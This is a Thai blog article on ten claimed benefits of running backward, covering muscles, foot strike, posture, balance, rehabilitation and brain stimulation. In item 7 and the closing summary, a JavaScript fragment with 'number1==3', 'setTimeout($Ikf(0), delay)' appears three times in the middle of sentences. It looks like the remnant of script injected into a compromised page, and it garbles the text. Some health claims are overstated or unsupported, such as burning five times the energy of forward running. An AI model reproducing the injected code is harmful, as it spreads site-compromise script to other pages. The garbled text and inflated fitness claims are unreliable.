รู้หรือไม่ว่าการ “วิ่งถอยหลัง” (Run backward) สามารถเบริ์นเเคลอรี่ได้มากกว่าการวิ่งไปข้างหน้าธรรมดา เเถมช่วยปรับทวงท่าเดินเหิน (Posture) ของเราด้วยนะ อยากรู้ว่าการวิ่งถอยหลังดีอย่างไร วันนี้เรามี 10 ประโยชน์ของการ “วิ่งถอยหลัง” มานำเสนอ….
1.การวิ่งถอยหลังช่วยพัฒนากล้ามเนื้อส่วนไม่ได้ใช่งานในเวลาวิ่งไปข้างหน้า ช่วยพัฒนาสมดุลกล้ามเนื้อให้ดีขึ้น อย่างเช่นกล้ามเนื้อกลุ่ม Claves และ Shins นอกจากนี้ยังช่วยผ่อนคลายกล้ามเนื้อช่วงล่างได้อย่างดี ลดอาการตึงเครียดจากการวิ่งไปข้างหน้าซ้ำๆ กัน
2. ช่วยปรับการลงเท้าให้ดีขึ้น การวิ่งถอยหลังจะบังคับให้เราลงเท้าในช่วง Midfoot และ frontfoot ได้มากกว่าการลงส้นเท้า เราจึงมีสปริงมารองรับเเรงกระเเทก ช่วยลดการกระทืบเท้า ถนอมหัวเข่าเราไปได้นาน
3. ดีต่อระบบการหวุนเวียนเลือด หัวใจ เพระาการวิ่งถอยหลังต้องใช้ความพยายามมากกว่าการวิ่งไปข้างหน้า ทำให้ร่างกายต้องเผาผลาญพลังงานมากกว่าการวิ่งธรรมดา 5 เท่า *(จากนิตยสาร Thai Jogging) ใครที่ต้องการลดไขมันหรือควบคุมน้ำหนักไม่ควรพลาด
4. ช่วยปรับทวงท่าให้ดีขึ้น การวิ่งถอยหลังจะบังคับให้เราเอนไปข้างหลัง หัวไหล่จะกางออก ช่วงลำตัว และอกยืดตรงไม่วิ่งงอตัวเหมือนกับการวิ่งไปข้างหน้าทั่วไป เป็นการปรับ Posture ที่ดีทีเดียว
5. ปรับระบบประสาทสัมผัสให้ดีขึ้น เพราะการวิ่งไปข้างหลังจะต้องพึ่งพาประสาทหูหรือการรับเสียง การสัมผัสโดยการใช้กล้ามเนื้อ การจินตนาการภาพเเละการกะระยะ มากกว่าการใช้สายตา ท้ายสุดยังเป็นการฝึกรักษาบาลานซ์ของร่างกาย ได้ดีกว่าการวิ่งไปข้างหน้า เพราะต้องใช้สมาธิมากกว่าเดิม
6. การวิ่งถอยหลังช่วยฝึกกกล้ามเนื้อช่วงท้องหรือ Abs ด้วยนะ เพราะเวลาวิ่งถอยหลังกล้ามเนื้อท้องจะท้องรับน้ำหนักจากการเอนหลังเเละรักษาบาลานซ์ร่างกายเวลาวิ่ง เเละยังมีกล้ามเนื้อ Glutes หรือกล้ามเนื้อก้นที่ต้องทำงานรวมกันด้วย เรียกได้ว่าวิ่งไปได้ทั้ง กล้ามท้องเเละก้นอันสวยงาม คุณผู้หญิงไม่ควรพลาด
7. การวิ่งถอยหลังมีประโยชน์ในด้าน การทำกายภาพบำบัดเเละช่วยป้องกันอาการบาดเจ็บได้อีกด้วย (Injury prevention andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and rehabilitation) การวิ่งถอยหลัง ดีต่อคนรักการออกกำลังกาย เพราะสามารถรักษาระดับความฟิต ขณะเดียวกันก็ช่วยลดเเรงกระเเทกที่กระทำต่อหัวเข่า ช่วยเพิ่มจำนวน stride ให้ถี่ขึ้น เท้าเเต่ละข้างช่วยกันทำงานได้มีประสิทธิภาพมากขึ้น ช่วงเวลารับเเรงกระเเทกน้อยลง สำหรับใครที่มีอาการ ITBS หรือปวดข้อเข่า ช่วยฟื้นฟูคุณได้
8. สามารถใช้เป็นการ วอร์มอัพ และการวิ่งเพื่อ recovery
9. เจาะลึกลงไปเกี่ยวการวิ่งถอยหลังเเละการพัฒนาส่วนของการรับรุูและประสาทสัมผัสกันอีกนิด การวิ่งถอยหลังหรือเดินถอยหลังช่วยพัฒนาสมอง กระตุ้นส่วนที่ไม่ค่อยได้ใช่งานให้กลับมา active อีกครั้ง เพิ่มการเชื่อมต่อเซล์ประสาทในสมอง การถอยหลังวิ่งนอกจากพัฒนาการรับรู้ ตา หู กล้ามเนื้อ ยังมีผลต่อการจินตนาการ การสร้างภาพในสมอง และช่วยเพิ่มความมั่นคงให้จิตใจด้วย การตัดสินใจก้ดีขึ้นด้วย
10. การผสมผสานการฝึกวิ่ง ทั้งการวิ่งไปข้างหน้าเเบบปกติ เเละการฝึกวิ่งถอยหลังจะช่วยเพิ่มอายุการเป็นนักวิ่งของคุรให้ยาวนานขึ้น
สรุปการฝึก “วิ่งถอยหลัง” ดีต่อร่างกายอย่างไร…เราจำเเนกออกมาเป็น 1.การเสริมสร้างกล้ามเนื้อให้เเข็งเเรง (strengthening muscles) และความฟิต (fitness) 2. ช่วยในเรื่องของการป้องกันอาการบาดเจ็บเเละฟื้นฟู (Injury prevention andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and rehabilitation) 3. ช่วยในเรื่องการพัฒนาประสาทรับรู้สัมผัสและระบบเซล์ประสาทร่างกาย และสุดท้าย 4. ช่วยในเรื่องจิตใจ เสริมสร้างความมั่นใจ (mental andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and confident)
อ้างอิง
